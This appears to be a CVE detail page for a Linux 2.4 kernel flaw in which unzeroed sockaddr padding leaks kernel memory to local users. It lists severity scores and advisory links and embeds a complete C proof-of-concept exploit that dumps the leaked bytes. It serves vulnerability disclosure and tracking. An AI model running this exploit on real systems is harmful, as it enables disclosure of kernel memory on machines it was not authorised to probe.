CVE-2006-1342 : Detail

CVE-2006-1342

0.15%V4
Local
2006-03-21
17h00 +00:00
2018-10-18
12h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

net/ipv4/af_inet.c in Linux kernel 2.4 does not clear sockaddr_in.sin_zero before returning IPv4 socket names from the (1) getsockname, (2) getpeername, and (3) accept functions, which allows local users to obtain portions of potentially sensitive memory.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 2.1 AV:L/AC:L/Au:N/C:P/I:N/A:N nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 27461

Publication date : 2006-03-22 23h00 +00:00
Author : Pavel Kankovsky
EDB Verified : Yes

/* source: https://www.securityfocus.com/bid/17203/info The Linux kernel is affected by local memory-disclosure vulnerabilities. These issues are due to the kernel's failure to properly clear previously used kernel memory before returning it to local users. These issues allow an attacker to read kernel memory and potentially gather information to use in further attacks. */ #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <netinet/in.h> #include <linux/netfilter_ipv4.h> void dump(const unsigned char *p, unsigned l) { printf("data:"); while (l > 0) { printf(" %02x", *p); ++p; --l; } printf("\n"); } int main(int argc, char **argv) { int port; int ls, as, r, one; struct sockaddr_in sa; socklen_t sl; if (argc != 2 || (port = atoi(argv[1])) == 0) { fprintf(stderr, "usage: bug PORT\n"); return (1); } ls = socket(PF_INET, SOCK_STREAM, 0); if (ls == -1) { perror("ls = socket"); return (1); } one = 1; r = setsockopt(ls, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)); if (r == -1) { perror("setsockopt(ls)"); return (1); } sa.sin_family = PF_INET; sa.sin_addr.s_addr = INADDR_ANY; sa.sin_port = htons(port); r = bind(ls, (struct sockaddr *) &sa, sizeof(sa)); if (r == -1) { perror("bind(ls)"); return (1); } r = listen(ls, 1); if (r == -1) { perror("listen(ls)"); return (1); } sl = sizeof(sa); as = accept(ls, (struct sockaddr *) &sa, &sl); if (as == -1) { perror("accept(ls)"); return (1); } dump((unsigned char *) &sa, sizeof(sa)); sl = sizeof(sa); r = getsockname(as, (struct sockaddr *) &sa, &sl); if (r == -1) { perror("getsockname(as)"); return (1); } dump((unsigned char *) &sa, sizeof(sa)); sl = sizeof(sa); r = getsockopt(as, SOL_IP, SO_ORIGINAL_DST, (struct sockaddr *) &sa, &sl); if (r == -1) { perror("getsockname(as)"); return (1); } dump((unsigned char *) &sa, sizeof(sa)); return (0); }

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version 2.4.0

References

http://www.vupen.com/english/advisories/2006/4502
Tags : vdb-entry, x_refsource_VUPEN
http://www.redhat.com/support/errata/RHSA-2006-0579.html
Tags : vendor-advisory, x_refsource_REDHAT
http://secunia.com/advisories/22875
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/21035
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.redhat.com/support/errata/RHSA-2006-0580.html
Tags : vendor-advisory, x_refsource_REDHAT
http://secunia.com/advisories/19357
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/20398
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/17203
Tags : vdb-entry, x_refsource_BID
http://marc.info/?l=linux-netdev&m=114148078223594&w=2
Tags : mailing-list, x_refsource_MLIST